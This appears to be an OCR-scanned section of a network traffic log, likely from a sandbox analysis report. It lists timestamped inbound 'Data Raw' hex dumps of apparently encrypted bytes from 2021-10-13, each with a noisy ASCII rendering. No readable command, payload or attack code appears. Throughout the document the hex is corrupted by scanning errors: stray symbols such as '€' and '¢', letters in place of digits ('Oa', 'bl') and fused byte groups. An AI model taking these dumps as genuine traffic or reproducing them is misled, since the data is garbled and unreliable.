3ach 18 d7 32 c6 13 9a ee 81 2a 09 85 35 4c bb 1e 1a 2e fc e2 6e 5c ef c0 88 07 ea 82 cb 8f a6 ee ff fe d1 fd d6 92 50 53
10 f8 01 21 3f 02 36 a3 fd b0 41 3c e0 eb 26 15 db c4 70 4b 33 67 9b a0 d4 62 al 2c ac 7d d4 78 5a fc 88 48 d2 72 ae Oa
03 11 ad Ob e7 8a ac 64 8d ba 3a d9 ae Oa 1a 75 1b
Data Ascii: dE,5&Y p?#)\P#uti<<w01upKB58PdXUD6.PV=r\kNcn{xm AJW"AIBmG:2*5L.n\PS!?6A<&pK3gb,}xZHrd:u

2021-10-13 13:52:00 UTC 379 IN Data Raw: 09 41 70 €3 23 1e b6 69 70 75 b4 b9 9d 60 87 3a d1 52 50 92 33 e8 54 f8 c6 04 9c 6a b6 45 15 18 10 40 Oe de
ce ff 48 91 e5 1c cd 21 dO 42 80 00 b5 7e 5e c6 3a f5 61 24 01 8f 6f 79 9d 47 98 7c 32 5f 00 9e 2d ed 74 4a 8d f5 69 ac 83
06 c7 7f 6a ef 5f 4a 9f 56 45 eb fb ef b1 8d 3e 79 19 ff b8 e2 54 db fO 76 b6 85 80 7b 5b 7d 96 95 06 19 55 24 29 dd 4d 43
54 42 16 7f 9f da bl a7 ca ed 76 4a 4c 53 4f a2 b4 d4 b6 56 1 84 2b ce 91 22 f0 f9 92 23 d1 3d 53 98 77 9c 1f 61 7a ce 4d
87 a3 4b c4 a5 5c 73 f4 4c 4f 40 59 97 27 9a 2b e5 e3 a6 1c b5 9c 67 e7 19 af 14 93 ¢7 96 94 23 ab f0 08 bb a5 5e 33 d3
€829 3a 80 ce e2 27 53 9a b6 3b ea 02 ae 58 a5 15 51 b7 92 32 1b 1b 30 ae c6 96 ac 7d c3 a9 19 41 f0 4b 7f d8 83 c7 1c
e4 66 7e 31 6b 17 ac 68 c5 9e a0 83 6¢ 3a bb 6d
Data Ascii: Ap#ipu’:RP3TIE@H!B~":a$0yG|2_-tJij_JVE>YTV{[JU$)MCTBVILSOV+"#=SwazMK\sLO@Y +g#"3):'S;XQ2
0}AKf~1khl:m

2021-10-13 13:52:00 UTC 380 IN Data Raw: de 98 07 97 53 d7 Of 78 79 8e 95 4d ff fb b4 02 08 69 18 60 fa d8 €8 a2 a7 02 7d f0 ba 69 f5 e6 d5 68 da 2a 57
0b 9c d6 6e 09 f7 cf 38 a5 b4 ff 75 32 ef 54 67 €5 c4 86 96 a5 50 66 37 22 32 35 32 e0 68 bb 69 8a 92 28 94 31 80 54 a8
4a 89 0c 97 1e 7d 42 2b e6 26 87 9c 73 Oe b7 6e Oc b4 Oa bb el 10 68 91 43 6b d7 43 7b 25 90 be fe 6f 69 81 69 31 69 €9
b9 c4 7a 0f b8 b5 2b c4 1c Oe 35 5b 4b 74 73 6f 65 a9 1c fe de e6 b2 f1 17 05 bl e7 b6 7f 9e fO e6 el eb ad ba 6f b7 Oe f3
bd 93 07 17 6f 72 72 03 cc 8e ec 5¢ 43 57 d2 2c f2 5¢ 68 4f 5a 35 12 21 91 e1 91 89 e2 85 82 e5 3d 92 82 a3 ¢8 99 67 7d
ac 32 ef 41 8b a5 6a f3 5¢c e5 87 ed 5c 5 f3 3b c¢6 48 6d e7 82 5a e5 7b 94 88 f0 4a 90 18 b4 41 3b 52 f1 73 65 af 6¢ 40
aa d6 61 36 a8 57 fd 93 c5 86 2d 18 b4 d9 51 64 fe
Data Ascii: SxyMi }ih*Wn8u2TgPf7"252hi(1TJ}B+&snhCkC{%oiiliz+5[Ktsoeoor\CW,\hOZ5!=g}2Aj\;HmZ{JA;Rsel@a6W-
Qd

2021-10-13 13:52:00 UTC 381 IN Data Raw: 05 f4 6a 72 3b f1 de 96 dc 3d el 72 11 92 3b 9e 2c 87 5f e5 b6 7c af 6¢ 20 ec be 76 f1 6¢ db ad 78 ad 92 17 42
69 21 3c dd b2 f6 27 48 4b 60 30 58 19 41 7a 60 f6 ad 76 7f 91 92 4¢c d2 0d el 62 4f 56 41 le 32 41 4d ac 75 fd e7 79 fe 3
c0c8 4f94 cd 12 bl 7a 18 el 7a 05 el 6¢ 3e 4d 13 bb 15 c9 35 aa d6 64 44 6f ad 8a 4f e5 1a a0 f7 f0 a3 42 91 88 7e eb
87 83 2c 24 f7 9b 8e b1 00 b1 9e 44 59 03 8b dd a2 27 ac 13 58 eb 4d 51 65 49 6 Oc €3 9e 01 24 7a 7b 3c 4d 62 c1 a8 c4
ef 10 ff 4b 5e 3c df fd 29 fa d3 4a f4 93 ff c9 84 49 89 Ob 81 ac 35 79 35 d2 fO bb 04 12 e5 56 5f 04 b6 57 7f 2 8b b5 51 98
03 bf 34 d7 f1 d7 a4 51 72 20 3a 61 49 Oc bc 21 c4 8¢ 59 5f ca 7d d0 26 6f 18 69 75 8¢ 02 0f 92 de 00 6¢ 17 21 2e 6d 57
26 38 89 ca 2a 24 d4 6b 13 5¢ 71 17 91 d4 da
Data Ascii: jr;=r;,_|l vIXBi!l<'HK 0XAz vLbOVA2AMuy50zz|>M5dDoOB~,$DY'XMQel$z{<MbK"<)JI5y5V_WQ4Qr :al
1Y_}&oiull. mMW&8*$k\q
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 383 IN Data Raw: 9d 07 40 5e 65 45 b7 a7 5d cb 07 Oc 9f bd fc ¢3 e1 d9 d8 b1l 17 78 Oc 0d e0 e4 34 ae 64 93 57 29 bd ed 9e 37
d4 23 dc 42 06 eb 49 71 c2 3e 6d b6 18 b2 f1 ca 6a 15 6d 9¢c 50 29 17 fd b1 90 47 5d cb 89 56 0a 44 1a 93 ed 7d 2c b3 68
be 38 31 84 32 74 c¢7 07 3 al fa 1b f5 3f 8¢ 3c ad 20 80 b0 e0 51 3c aa e2 70 b2 59 70 50 44 f1 95 cb f6 dd 51 5¢ €9 e9 48
caeb 72 e6 4d 5¢c 97 18 32 54 c7 fd d3 a3 69 63 72 a7 be 59 65 d4 ef a8 83 49 53 74 e7 32 03 c9 17 21 76 40 89 c2 8e af
be 1e 91 29 64 ¢8 50 18 48 01 b7 3c 8b 64 ef 00 42 55 da 7b ce 46 ca fe 7c 8a €9 86 e6 d3 6a 55 da 21 7b 49 4a 71 33 a4
82 a3 1e 3759 42 d5 3d 7b d9 ce 60 6¢ 48 9d al 51 4f 79 5e 14 64 15 f5 a3 22 6f fb cO 1b 70 2f 42 f0 01 b0 32 c3 7e 5a
7d 0a d5 81 99 c2 a6 c0 51 1d d2 05 b4 al 04 38 d7 a4
Data Ascii: @ eE]x4dW)7#Blg>mjmP)G]VD},h812t?< Q<pYpPDQ\HrM\2TicrYelSt2!lv@)dPH<dBU{F|jUX{1Jq37YB={'l
HQOy"d"op/B2~Z}Q8

2021-10-13 13:52:00 UTC 384 IN Data Raw: 1a 23 17 2e bf 06 1b 15 d7 cf 9c c0 5f af 7d d2 57 57 Oe dd 4a 6d aa be 37 1f c7 0d a2 61 d8 07 09 fa 46 07 35
fb d7 Of f8 18 d3 22 f1 67 d9 1c b5 e7 aa 85 18 52 bf 27 Oe 4f d6 1b 5b 57 e8 9a 2a c7 37 84 24 1f 00 78 05 90 06 73 73 dO
55 61 66 09 8a 2b 53 60 bb 1c 81 96 26 2d 03 25 7b 5e 5d Of €0 68 6e fa bd d1 fe 4a 34 80 54 f8 b3 4d 1e 77 f4 83 13 9d
d0 34 4e 92 35 2b 4f 91 e4 f4 2b af e0 43 bb 04 31 4a d7 c0 ca 18 9e f9 c2 50 e4 3c c1 9a 7e cf 65 0f 51 7f a6 1a 97 d5 9f
9c b1 03 97 €7 90 7b 00 ef ce bc 1la cl 14 6b bb d2 b1 8d 30 €8 09 c7 ee 4d d3 6¢ 2c 32 74 58 bb 31 89 48 c4 78 4c e8 ab
db ca 2d de fd Oc 07 7c 7f cf 68 b3 94 0a b3 b5 ab €9 8b a5 e3 d3 3d 26 ca 34 ac f4 0f 92 ba 90 51 cd 17 11 63 Oe 9c f4 a3
99 bc Oe 31 ff 6b 23 4b 92 al 57 6f 4d 9b f6
Data Ascii: #._}WWJm7aF5"gR'O[W*7$xssUaf+S &-%{"hnJ4TMw4N5+0+C1IP<~eQ{kOMI,2tX1HXL-|h=&4Qc1k#KWoM

2021-10-13 13:52:00 UTC 385 IN Data Raw: c1 40 f9 b4 36 4b b1 47 f4 22 cO b7 10 52 52 b0 3a 2d 3f 0f 04 5b bc ff €8 1a 3b 0f af 04 d1 d6 b1 97 23 86 c2 6f
19 31 a2 18 2d 67 b6 1d c7 d3 10 2b 84 5f 66 fbh 29 d6 44 b1 f9 34 31 52 69 4d 20 d2 f3 a8 2c fc ¢8 38 8b dd 39 30 1b cb
53 a0 al 2c 4b a9 32 5e 19 d7 35 ce ae 7f f0 d4 4a f6 €9 52 53 be el 25 1a 95 c9 71 7e 27 83 77 2e 17 c9 4c 43 cc 02 3a
41383571 b1 8a 08 68 1a 1a b5 3e cf 87 51 18 61 04 58 6d 09 38 f0 78 33 37 b5 2a 6e d4 01 56 ae Oe a7 69 34 90 fe 9a
4e b8 c7 a3 7c 59 78 f4 7d f4 8e eb ef e0 eb 27 49 e8 8f f3 00 70 ef 9e 1b 75 95 fb 18 6a €9 31 al 1d ce fd 4b 0d ef 94 fO
14 26 1f 68 63 Oe df cb d2 al 86 27 ea a8 33 63 2d b1 8¢ f9 c8 47 84 cc 8c ac d0 41 f4 32 47 26 ee 95 20 84 22 d8 f0 11
dd 5d f9 2c b5 2c 8c 68 2a 08 bf 01 02 9e 95 23
Data Ascii: @6KG"RR:-?[;#01-g+_f)D41RiM ,890S,K2"5JRS%q~'w.LC:A85gqh>QaXm8x37*nVi4N|Yx}'Ipuj1K&hc'3c-
GA2G& "),,h*#

2021-10-13 13:52:00 UTC 387 IN Data Raw: 4e f0 d9 ae ¢9 27 c8 00 Oc 22 b7 fa 93 93 0f bb ac 3e c¢5 70 3b e4 14 f5 df 1f 54 d1 el 2a f2 fe 26 20 02 23 41
2d ce c2 24 4e f8 8a be 98 c1 c¢7 27 8f c4 53 ¢4 bd 71 76 23 4a 85 9c 2f 5¢ 80 03 bl 7e de d4 3f 50 68 dc 43 30 25 2c ae
1a 7b 84 71 bb bf f0 bc 66 2d 3e 33 92 36 62 93 65 e6 70 c1 53 7d 6d fb 66 16 cf ad 74 ad f1 08 b5 bd f1 al 69 af 61 a0 dc
2f 56 94 b0 cb c1 37 66 a2 12 54 1e a6 b6 df 9d 34 8a ee 75 29 8b b0 d9 e2 8e a3 e0 d6 54 59 Oc {7 e0 41 1f 42 a6 dd a0
1173 17 3c 1e 5d e3 39 a2 dc 79 a4 ef 84 3f 75 4a b5 d8 27 49 e2 05 44 Oc fc d3 fd e9 fc d5 2b 7a 0a 9e 22 f7 8e 42 d8
70 0b 9a f6 b4 73 eb 2b 72 9b 18 6¢ 65 46 53 54 77 c3 df 94 7b d7 14 92 b5 32 2f 01 bb 8e cb e3 e2 fb ee 97 21 a9 37 f2 f1
al b7 6a b4 a2 ab ad 69 90 8d 50 d1 63 73 f4 50
Data Ascii: N"'>p;T*& #A-$N'Sqv#J\~?PhC0% {qf->36bepS}mftia/V7fT4u) TYABs<]9y?uJ'ID+z"Bps+rleFSTw{2/!7jiPcsP

2021-10-13 13:52:00 UTC 388 IN Data Raw: fa 18 ¢2 63 dd a7 69 83 44 91 27 66 le fa cO 3e 3f 68 07 75 b3 b8 55 9f 1a 1d d1 d9 4e ea 30 94 d2 d2 00 fd dd
2a b3 66 ed d5 04 bc 06 99 aa fd 63 ab 59 21 a2 ac a6 03 20 ee 3c 23 81 4d ca 85 fb 7f 4a 5a 78 6f ac 28 ce b7 25 5e c2
da ec e6 cl 26 3a b5 a7 4f a6 34 00 b6 13 cf Ob 8b df bd el 2f 15 6d d9 2c 28 df d5 af 3e c1 50 e4 33 55 b7 2d 6b b5 11
a4 1c 8e 81 7a 1b b2 3b aa 8b 36 39 22 fb e2 el a8 ca 32 17 b8 1b 4e 7c df 09 cc f4 d5 9d 68 d7 eb d9 d2 45 0d 4c 7f 78
b1 b2 1c 17 d2 b9 55 de 40 7d 8e 95 16 08 bd b8 al 68 56 cc ff b3 1a 99 6a 9f 67 fb da 25 a3 {7 64 5e 67 ff 90 Oc bd 9b af
87 €3 9a 67 b4 Oc fe 93 88 01 6¢ 0d 10 77 d2 ea 52 65 e7 ff 2 b4 6a b4 f0 ff b7 02 e3 1f 24 31 c5 e8 3f ce 56 8d c8 11 ea
bd b6 ca 94 c2 5f 49 2e 73 4a 54 a3 24 18 b9 da
Data Ascii: ciD'f>?huUNO*fcY! <#MJZx0(%"&:04/m,(>P3U-kz;69"2N|hELXxU@}hVjg%d gglwRej$1?V_I.sJT$

2021-10-13 13:52:00 UTC 389 IN Data Raw: ¢3 1c 09 a8 ed ae 96 55 a3 9e 9d 6d e9 d3 61 dc 7b a6 df 7e a2 e6 3b Oc f8 74 87 fe a2 82 f5 c4 97 89 6a 62
5b 79 e2 a6 b7 Oc 62 80 0a 66 65 c5 dd 10 f4 c1 fO c7 df ec 45 ef ea 6¢ 7b 07 d3 b7 89 8e ca b8 69 9e c6 Oe 21 2d 21 17
df b5 90 af c4 09 f1 b9 62 a5 7f fe d6 b8 3b 41 40 36 3a 79 67 €9 3d ef 3d ba 55 60 f7 3d df fe 36 9b 3c fc b7 64 0d 4f af 76
1f 41 ad Oa 44 8e fc c6 €7 ca 6b aa 28 a9 be 15 d6 94 1d 6a fO 2e d8 84 88 7f 28 52 18 ab b7 96 c5 8 f7 79 3b 1c 9d cf ed
42 be 17 02 53 d1 4c 69 28 09 00 92 f6 74 b1 d3 ad bb be 63 c2 e7 32 65 22 d8 70 b9 a6 9e 76 34 be 76 €9 74 60 b1 b0
40 3e ca 851 32 7a 98 03 8e 6d 68 €9 a2 4c €9 74 eb ca b6 b8 3d 1e fa 4f 64 43 e7 d1 8c db cd e0 7a e3 5¢ b0 81 4f c3
5a b3 7b b6 1c 3a d9 9b 8 f9 a4 fe 8c 85 f3 03 f7
Data Ascii: Uma{~;tjb[ybfeEKil-b;A@6:yg==U"=6<dOVADK(j.(Ry;BSLi(tc2e"pv4vt @>Q2zmhLt=0dCz\OZ{:

2021-10-13 13:52:00 UTC 390 IN Data Raw: c8 68 fc f4 9d 66 Ob cf b2 5e a7 e3 85 fc eb ¢5 b6 d2 c6 c8 61 d1 Oe 17 91 9a le eb 42 6b ee 5d 38 1f 72 9f 31
8f a8 0d 98 5d 19 7e fb 02 68 14 38 f2 5a 18 d3 26 52 bb 15 9a f6 95 18 €6 2c €3 57 9a 30 d4 d5 bd 7b 30 73 73 43 61 d1
82 a0 78 5¢ ce e2 27 53 9a b6 3b fc ff {7 1a 92 72 b5 24 39 46 08 b3 35 eb cd ¢7 ec d0 a5 f0 9d 3b 79 3e 73 d9 cf ff f8 3¢
98 2c 47 85 df 18 26 3b 60 ee bb a3 9e ce 45 eb 7e b7 6d 57 6 53 73 ba ad b3 f6 58 2a db a2 3f ed al fa 90 3a 9b 06 59
45 e3 0d c9 14 24 f2 cf 4e a6 d9 8f ef d8 f1 8f 2e 9f 6a ce e4 28 dd 47 81 b0 d7 bf 9d 93 9b 01 78 46 6e ef e9 aa d7 eb ec
b4 fa f8 55 9b 15 5a ba 4c c0 77 70 89 19 b2 f2 86 5d 64 16 55 c0 3a b5 24 36 59 18 79 b6 ff 7a df 63 dd 2c f4 03 f4 73 b4
9d 81 3 4d c5 3c fc fd cO fe 4f d7 a3 15 e0
Data Ascii: hf*aBk]8r1]~h8Z&R,W0{0ssCax\'S;r$9F5;y>s<,G&; E~-mWSsX*?:YES$N.j(GxFnUZLwp]dU:$6Yyzc,sM<O

2021-10-13 13:52:00 UTC 392 IN Data Raw: ca 27 07 66 2d b4 cc de 7d f6 b3 78 4c 5¢c 06 3a 22 a6 1f 70 d7 5f 20 9c Oe de c8 c2 d8 c2 07 8f d6 a4 65 60 bd
05 d8 5a 7d 4f 69 55 11 e5 22 b1 b0 dc 8f 77 d7 b0 30 94 16 2d 27 22 70 Oc dd 36 6¢ 7d 0d e7 45 c7 a5 78 4b 9e 19 7d 12
97 b7 f0 ff 17 5f 51 35 b9 24 db 89 20 d3 42 3f 07 13 a9 25 f8 83 8f 2f f9 99 52 d7 8c bc 2f 56 a9 e7 b5 da da a9 bl 71 fc
6a 54 bd 4d 4e 4a b3 ad 99 ad 17 e6 be bl el 4f 99 27 a9 6f bb 16 07 72 25 50 al b5 99 f6 84 62 b3 le fa 3b d7 1b 73 dd
24 df 33 a6 e2 32 88 6¢ ec 3e b9 df ¢5 72 c8 7f ab a8 4a 49 Oe 3b 09 8b 03 19 10 cd 5b el d9 7e 0d 61 b4 4b 76 52 db 9c
80 83 f2 ae e3 45 7f 4d 5¢ f5 ¢7 8¢ b5 d4 5b cf 97 16 b9 42 5d 79 7c ba 9e 5e da 08 3b 7f 16 fa 32 7b 6b ef 1c fb cc 82 1c
d8 70 8a ec 4e 3e b9 fd 50 11 4d 51 db dO 6c b6
Data Ascii: 'f-}xL\:"p_ e Z}OiU"wO-"p6I}EXK}_Q5%$ B?%/R/VajTMNJIO'0r%Pb;s$32I>rJl;[~aKvREM\[B]y|*;2{kpN>PMQI

2021-10-13 13:52:00 UTC 393 IN Data Raw: 92 3d f7 88 7f 51 a8 b6 d7 05 d6 30 2b 78 ba 69 8d 8c 4a e6 79 a5 16 68 3¢ 65 57 bd 8¢ a3 4a 8e a5 68 3a cO
b5 1f 96 46 €9 d9 al 6d a8 63 93 21 1b 75 d3 d8 Oa 6f 2b 3e b0 e8 0a Oa da 5d 7d 6¢ 0d 9a 0d al d8 l1a da 50 55 cb a0
32 4b f0 5d 62 89 25 f4 82 46 Ob Oe d7 a4 f1 65 bf Oe Of ae 08 Oa f4 b4 02 ad d5 7 c5 fe 5a 97 18 2d e4 f9 40 6f b0 bb le
Oe 6d 5d 37 39 53 84 a2 37 fa b2 f1 44 e3 a3 fd 5b 92 c6 46 30 7c f8 54 01 38 a2 Ob 8a 30 63 80 02 al 3a d7 d9 00 7e ed
ad 7d 87 el f2 3c 6d 92 aa ca 16 e3 c4 e7 d9 4b 3 72 97 25 20 b3 02 26 93 e2 49 7f eb 33 a9 5b 14 00 00 e5 4f a5 ba ad
cf 88 49 d6 3f Of 21 89 08 f6 c4 18 a8 17 f2 ee 29 49 c5 ca 9d 10 e0 e0 95 90 1a 40 10 81 a4 95 ad 1a 32 39 dd 3d 8c ff 1b
08 44 f5 c2 ad fc 9d 55 38 9d 5a 9c 1d a3 Oe 8d be 5b
Data Ascii: =Q0+xiJyh<eWJh:Fmcluo+>]}IPU2K]b%FeZ-@om]79S7D[FO0|T80c:~}<mKr% &I3[O1?!)|@29=DU8Z[

2021-10-13 13:52:00 UTC 394 IN Data Raw: e4 cc 9d 38 ab 55 af ee b2 8a 46 8e e6 c2 7d 82 4b bf 9e e7 7c 8f 5¢ a4 a7 ba df 29 46 d7 e9 7a Oa fe 75 b7 a7
da ed le c3 29 5f a7 Ob 04 3c 49 2a be 5¢ 21 Oc 1c 15 43 ae c2 10 11 17 03 d6 96 78 66 05 06 1f da 88 23 4b b1l df 9a 32
55 97 89 26 b1 ac 36 9b a2 33 d7 39 c4 32 98 67 e7 4a 24 7a 5b 9a 0d da e5 51 2a ce bc al 4d d7 de c8 22 d6 b5 8a 16
770297 03 9e 18 33 a2 12 ba 37 d9 c3 b3 fc 7c d5 d0 d0 dO 77 d9 1b f1 f6 24 9d a0 cO 6e e4 44 e8 f0 d5 66 a0 74 54 02
d7 54 31 bf f0 17 c1 65 17 6d fb b5 3a 34 25 b5 d4 51 47 f4 c4 ba c6 35 76 7c 4c Oa 79 fa 90 3b 8e 3 21 06 4b 49 61 e3 af
34 1b Oa af d0 54 f3 7e 85 95 f0 98 ed 08 e6 1a 54 ef d4 71 16 35 0a 50 ff 8b 28 47 46 af 49 49 5e 1c 6f c2 ff 91 1c 93 16
d3 cf 4d 38 c8 fa e4 f5 79 c6 e3 21 b4 08 0a 03 2a
Data Ascii: 8UF}K|\)Fzu)_<I*\ICxf#K2U&6392gJ$z[Q*M"w37|w$nDftTT1em:4%QG5v|Ly;!Kla4T~Tq5P(GFII*oM8y!*
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2021-10-13 13:52:00 UTC 395 IN Data Raw: 65 91 d2 al 4c 33 00 9¢c b4 99 el 9c el 05 3b 08 75 4f 39 47 65 7a 6b 8f 9f 89 9d da 7a 87 27 cf f1 57 68 8e 97
5547 cl a2 42 76 41 cf 37 a6 8e fa 97 f5 05 2c¢ 31 1e fb 30 23 0d bd 34 54 b0 0f 57 08 05 3e 64 bc 60 ac 33 7a 4f e2 41
94 ¢5 75 0b 83 ec 93 8c a3 02 47 b8 54 46 b8 6 26 8f a9 4d 15 e5 21 c0 7a 3d d1 3e dc 12 d4 f9 cc 4f dc d2 e2 12 2a c2
7a 3f 5f 8f d2 ab 64 49 14 52 5d be 27 84 b8 d6 98 9e ca d8 32 52 bb a5 04 fd 0f 49 ¢5 51 77 a7 c9 ee 8d 1a e5 18 c5 4 bf
c4 f3 55 e8 19 b8 5¢c 1d d2 fa 62 a6 99 53 b5 06 06 2f 80 a4 b4 99 f6 57 64 be be c6 93 b5 56 4e 2b 74 37 2d e6 6e bf 9a
94 12 c1 e834c9 17 4b 7c ab 07 2f 10 04 6a el €8 6d 95 85 c2 f0 €6 74 99 48 c3 Oc 18 d7 ba el 29 fe Oe f4 68 28 3f 40 5f
15 2e 62 84 15 3c 91 75 ca 16 32 0f 62 34 a3 6b
Data Ascii: eL3;u09Gezkz'WhUGBVA7,10#4TW>d 3zOAUGTF&M!z=>0*z?_dIR]' 2RIQwU\bS/WdVN+t7-n4K|/imtH)h(?@_
.b<u2b4dk

2021-10-13 13:52:00 UTC 396 IN Data Raw: 84 06 e4 96 e5 be b9 15 2a 3b 55 29 85 8d d7 95 63 ae 7c 07 90 17 87 19 5d 4a 9b 72 38 2f 94 5a 52 d2 78 ad
1004 al ec 4c 51 25 a3 df bl 7a 5a ed a7 44 e0 cc 84 fh e9 a2 e3 cc 20 cc 25 f4 4d b2 1e fa df 4d Oe cc 3a ce 2a 46 e0
7a6e 71 ff ae b8 81 a7 34 7b b6 8e Ob ad a8 7f bb 5d 7d 8c 85 65 43 db 05 70 2e 26 33 7f 12 4f cb 51 53 5b 55 al 38 74
1751 d8 1d 91 c9 15 d8 de 6f 16 b0 96 fb cd c3 cb 22 0d cb 6¢ 01 bd ab 47 16 fd fc Ob cb d7 8f 22 8b 45 66 e5 dc 2b 9c cf
79 7d 9¢c d0 34 a0 3b a0 50 16 c9 bf 2d Oe 24 ee 61 2e 54 c9 9c 38 ca cc 4e 6e ff 94 63 36 c0 91 39 df 65 7b 41 5a ea ad
d4 a6 25 56 59 fe ce fd ad b0 fb 8e 9b fa 24 2b db 65 fd 12 28 97 8b 91 45 a7 90 53 38 92 36 c1 c4 5a 4b 1a 32 0d bd b3
aafbc4 86 1b a3 c1 88 c8 d2 e6 Ob 4f 11 68 ed bd 7d
Data Ascii: *;U)c|]Ir8/ZRxLQ%zZD %MM:*Fznq4{]}eCp.&30QS[U8tQ0"IG"Ef+y}4;P-$a.T8NNc69e{AZ%V Y $+e(ES86Z
K20h}

2021-10-13 13:52:00 UTC 397 IN Data Raw: 4f 02 85 ae 5c bb c9 f7 22 21 3 14 f0 8e 35 63 cd d3 89 ad 5b e5 89 12 ac 6b 11 46 79 65 b5 eb 22 9b e3 d6
46 46 ff f1 a0 4a 68 85 4a fb 05 5¢ 9d 9f 23 a5 db 4a 25 71 al 84 67 4f 08 55 c4 1a 62 02 79 f8 e8 f6 48 b2 34 20 80 c2 6¢
84 fc 0d de 64 a5 a8 97 79 be a8 30 cd 3c c6 f4 €9 89 f1 53 cf 60 88 17 72 60 Oa 6e 18 56 b3 6¢ a6 2d 42 0d 72 4a 70 1a
ch 82 4ad7 1c f8 ¢5 72 11 4b 5¢ 33 35 7b 41 d9 dc e4 01 05 e4 91 d8 66 Of 13 de 38 87 de al 82 5 e2 5e 8¢ d2 2e 5b 55
el a6 b7 71 22 c1 34 d4 29 15 08 b1 86 36 f3 78 60 fd f7 bd 9b a5 7b 07 7e 6b Ob 51 fd 7f 6f 6e 35 99 87 71 20 bc 8e 72 7f
97 53 14 14 cb 54 0d ee d8 53 84 47 7a bb 26 f9 ff 3b 78 50 eb 45 45 aa a3 33 28 58 f9 ¢7 d6 48 14 c5 2a f1 1b fb 4e 4a
56 Oc 4d ba 89 f4 cf b6 86 Ob bb 14 06 10 ed 10 66
Data Ascii: O\"15c[kFye"FFIhJ\#J%qgOUbyH4 Idy0<S'r nVI-BripJrK\35{Af8".[Uq"4)6x {~kQon5q rSTSGz&;xPE
E3(XH*NJIVMF

2021-10-13 13:52:00 UTC 399 IN Data Raw: 7e 63 ce 89 c8 a0 3b e3 ce 1f 97 bc d6 80 ba 40 92 59 81 d9 44 82 04 Oa 95 le e8 19 4f 46 a8 29 fa 74 Oc 22
91 69 89 25 46 1e bc d2 Oe 34 62 87 96 57 ¢l ec 81 75 f3 20 08 14 Oc 99 92 b0 0f 51 f4 a5 37 9¢ 29 60 Ob 38 c7 ba 5 fa
7b 69 2f cf b4 5a 85 49 83 fb e2 24 8d 4f d3 ea ff be 5a f4 d7 72 6f 34 41 1b 61 ef 16 92 90 06 47 df c1 1c le 37 4e d9 97
7c 8337 e2e7fl 2227 94 3c f6 d2 2a e3 79 2a 49 84 dd 12 45 c8 14 58 d9 51 cd 10 77 ea 9a 1e f2 a0 99 bc 7c¢ 5¢ 25 7b
dc b4 94 c0 b4 98 a5 1a 90 9b f4 ac c2 64 d4 37 71 5a 04 85 65 98 64 dd 8f a2 93 96 4e 72 57 52 84 1b 3c c9 45 fc e6 40
0d 35 6f 99 0a 5b bl 3b 14 90 2f 31 a0 91 f3 a2 5c¢ ff 38 46 a6 15 89 b2 c2 4b 31 a7 07 84 8e ee 36 6b fa 4e 4b 06 7b bf 66
2d ba e9 5a Oc 47 2d 5¢c 6a 44 29 4d Ob 65 91 37 73
Data Ascii: ~c;@YDOF)t"i%F4bWu Q7) 8{i/Z1$0Zro4AaG 7N|7"'<*y*IEXQw|\%{d7qZedNrWR<E@50[;/1\8FK16kNK{f-ZG-
\ID)Me7s

2021-10-13 13:52:00 UTC 400 IN Data Raw: bb ba 26 9c bb 6b 67 73 6b ab be el 32 c8 f1 52 8a 2d cf 60 94 70 38 c0 ce 78 b1 3a 36 08 8a b2 2f 09 8b 62
53 4c a9 ef 80 44 c9 de a7 4b 80 5¢c 6d 59 el f1 f9 ed aa 2e Oe 17 65 cd 9a 08 fe 3d 2e b9 3 f9 b7 41 89 7f fc db 9d 77 c5
06 5f 07 c4 13 Oa ec cf dO 95 04 16 37 8e 9a db 89 ea 99 3 31 el 05 33 89 29 9c 76 cd fa b5 1f 85 76 71 f4 ae 2f 53 37 b2
f9 49 e3 61 d5 fe 31 7b 95 6a dd 06 Oc 43 3c 8b 13 67 a6 56 2f Ob 4f c7 d8 4f 88 55 68 aa 74 17 b6 1c af e4 73 52 60 c2
9e 7a 4f e2 92 38 99 23 e3 b6 5e 93 e6 28 1d ec 01 3d d3 e3 2e a5 4b 6e 58 5b 30 0d a8 3d c6 a5 68 90 93 8 7d 44 c7 35
af 94 16 0f 85 19 8b 06 85 d2 28 f2 03 79 51 ea 65 5b 7a 74 de b3 de 12 2e 63 0f Oc 3f 50 2b 50 30 2e ¢8 41 99 b5 2e 02
db cf 4e 89 9e e6 64 7b 56 €9 19 ee d7 33 85 27 57
Data Ascii: &kgsk2R-"p8x:6/bSLDK\mY.e=.Aw_713)vvq/S7lal{jC<gV/O0UhtsR zO8#"(=.KnX[0=h}D5(yQe[zt.c?P+
PO.A.Nd{V3'W

2021-10-13 13:52:00 UTC 401 IN Data Raw: 52 a3 c0 7f ed 20 44 29 a8 ec af 9d c1 26 02 60 fd 2b 82 f2 b9 38 ba 53 d0 28 2f a4 87 b0 05 40 09 cb 87 71 55
¢5 ¢1 7d 97 be 34 24 51 82 8b e4 ¢8 7f 78 3¢ 6b dd 97 73 1a 29 54 8f 0b 32 66 b0 2e dd 64 8b a3 d1 f2 f3 al 3 c8 Oe 90
98 70 db 4b a9 d2 57 f4 b3 2c 04 b0 2a 87 42 b7 13 aa 51 48 6e 4 f2 c2 ae 04 00 2d bc a6 f1 38 48 01 b1 ff 9f d1 a2 f8 91
6 85 87 e1 44 39 ba c2 b6 d7 9d cd cf b6 ae 22 b8 11 9b 44 1b 35 Oc 3f 4a 3d 42 b4 6e c9 5e 85 96 €6 6a d7 3¢ e4 fa 1d
1a c2 1f 69 eb ab 65 94 21 1b 73 38 c0 be 5d a6 11 Oc ef 5b a6 00 5d 7d 5d d7 81 21 c6 58 21 ae 9e 9d 5¢ c9 e2 cf b f3
5b 02 58 6b 58 68 €7 7e 61 53 85 a3 €9 e4 ba f8 2¢ 00 78 b4 78 bf e3 24 37 f0 de 15 72 29 69 fc cd a9 3b f6 5f 08 cb a3 df
06 53 84 96 56 8d ac 7a 39 ac a8 78 a3 c2 45 29
Data Ascii: R D)& +8S(/@qU}4$_x<ks)T2f.dpKW,*BQHN-8HDY"D52J=Bn"j<ie!s8][}IXN\[XkXh~aS xx$7r)i;_SVZIXE)

2021-10-13 13:52:00 UTC 403 IN Data Raw: b1 72 3e 42 78 db 7d el 13 28 97 88 2f 34 a6 43 ac 4a 8b f6 dd c5 5a 4b c9 le ed 37 5b e3 bc 98 86 96 26 47
76 ba ba 5a 4f 32 e0 Oe 64 b2 fc aa bd 6d cc d2 d9 7d 3f f9 09 95 bl 6a 21 c2 10 40 83 94 73 Oe b7 6e 67 d8 61 eb 09 fO
